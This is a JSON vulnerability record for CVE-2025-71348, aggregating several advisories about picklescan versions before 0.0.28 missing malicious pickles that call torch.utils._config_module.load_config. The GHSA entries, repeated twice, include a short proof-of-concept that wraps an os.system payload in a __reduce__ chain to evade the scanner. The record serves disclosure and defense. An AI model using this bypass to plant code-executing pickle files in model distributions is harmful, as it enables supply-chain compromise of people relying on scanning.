{"id":"CVE-2025-71348","aliases":["EUVD-2025-210291","GHSA-qvp4-q2p5-22gg","GHSA-vv6j-3g6g-2pvj","PYSEC-2026-245"],"status":"published","title":"picklescan - Arbitrary Code Execution via torch.utils._config_module.load_config Bypass","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","severity":{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00554,"percentile":0.46739,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-345","CWE-502"],"published":"2025-08-22T16:58:14Z","modified":"2026-11-08T14:00:28Z","fixes":[{"ecosystem":"PyPI","package":"picklescan","fixed_in":["0.0.28"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.0.27"},{"fixed":"0.0.28"}]}]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.28"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]},{"source":"osv","ecosystem":"PyPI","package":"picklescan","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.28"}]}],"versions":["0.0.1","0.0.10","0.0.11","0.0.12","0.0.13","0.0.14","0.0.15","0.0.16","0.0.17","0.0.18","0.0.19","0.0.2","0.0.20","0.0.21","0.0.22","0.0.23","0.0.24","0.0.25","0.0.26","0.0.27","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.0.9"]}],"products":[{"vendor":"mmaitre314","product":"picklescan"},{"vendor":"picklescan","product":"picklescan"}],"references":[{"url":"https://github.com/mmaitre314/picklescan/security/advisories/GHSA-vv6j-3g6g-2pvj","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-torch-utils-config-module-load-config-bypass","tags":["third-party-advisory","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-71348","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-qvp4-q2p5-22gg"},{"url":"https://github.com/mmaitre314/picklescan/pull/47","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/commit/7f994d62084fe43f1cffdef2f9bae6923344ef53","tags":["web"]},{"url":"https://github.com/mmaitre314/picklescan/releases/tag/v0.0.28","tags":["web"]},{"url":"https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2026-245.yaml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-vv6j-3g6g-2pvj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71348.json","tags":["advisory"]},{"url":"https://github.com/mmaitre314/picklescan","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-71348","title":"picklescan - Arbitrary Code Execution via torch.utils._config_module.load_config Bypass","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"published","published":"2026-06-21T13:26:48.046Z","modified":"2026-11-08T14:00:28.95Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-08T14:43:22.764053Z"}],"euvd":[{"id":"EUVD-2025-210291","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"published","published":"2026-06-21T13:26:48Z","modified":"2026-11-08T14:00:28Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-08T15:13:10.25084Z"}],"ghsa":[{"id":"GHSA-qvp4-q2p5-22gg","title":"Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vv6j-3g6g-2pvj. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"withdrawn","published":"2026-06-21T15:31:23Z","modified":"2026-09-11T19:36:28Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:41:15.803194Z"},{"id":"GHSA-vv6j-3g6g-2pvj","title":"Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config","description":"### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-22T16:58:14Z","modified":"2026-09-11T19:36:48Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T14:41:15.803194Z"}],"nvd":[{"id":"CVE-2025-71348","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"published","published":"2026-06-21T14:16:22.75Z","modified":"2026-10-12T22:10:00.247Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high","assessor":"secondary"},{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:02.535029Z"}],"osv":[{"id":"CVE-2025-71348","title":"picklescan - Arbitrary Code Execution via torch.utils._config_module.load_config Bypass","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"published","published":"2026-06-21T13:26:48.046Z","modified":"2026-11-09T02:31:03.273893573Z","cvss":[{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-09T03:16:44.651171Z"},{"id":"GHSA-qvp4-q2p5-22gg","title":"Duplicate Advisory: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config","description":"### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-vv6j-3g6g-2pvj. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"withdrawn","published":"2026-06-21T15:31:23Z","modified":"2026-09-11T19:45:08.970996616Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:55.122811Z"},{"id":"GHSA-vv6j-3g6g-2pvj","title":"Picklescan is missing detection when calling pytorch function torch.utils._config_module.load_config","description":"### Summary\n\nUsing torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.\n\n### Details\n\nThe attack payload executes in the following steps:\n\nFirst, the attacker crafts the payload by calling the torch.utils._config_module.load_config function via the __reduce__ method. Then the victim checks whether the pickle file is safe using the Picklescan library. Because the library fails to detect any dangerous functions, the victim decides to pickle.load() this malicious file, leading to remote code execution.\n\n### PoC\n\n```\nimport pickle\nfrom torch.utils._config_module import ConfigModule\n\nclass Evil:\n    def __reduce__(self):\n        return (os.system, ('whoami',))\n\nclass EvilTorchUtilsConfigModuleLoadConfig:\n    def __reduce__(self):\n        evil_payload = pickle.dumps(Evil())\n        return ConfigModule.load_config, (None, evil_payload)\n```\n\n### Impact\n\nWho is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.\nWhat is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.\nSupply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.\n\n### Corresponding\n\nhttps://github.com/FredericDT\nhttps://github.com/Qhaoduoyu","status":"published","published":"2025-08-22T16:58:14Z","modified":"2026-09-11T19:45:09.010579634Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"high"},{"version":"4.0","score":7.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-345"],"updated_at":"2026-11-02T15:46:57.694388Z"},{"id":"PYSEC-2026-245","description":"picklescan before 0.0.28 fails to detect malicious pickle files that invoke torch.utils._config_module.load_config function within reduce methods. Attackers can craft pickle files embedding arbitrary code that evades detection but executes during pickle.load, enabling remote code execution in supply chain attacks.","status":"published","published":"2026-06-21T14:16:22.75Z","modified":"2026-06-27T11:15:05.178767737Z","cvss":[{"version":"3.1","score":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"}]}}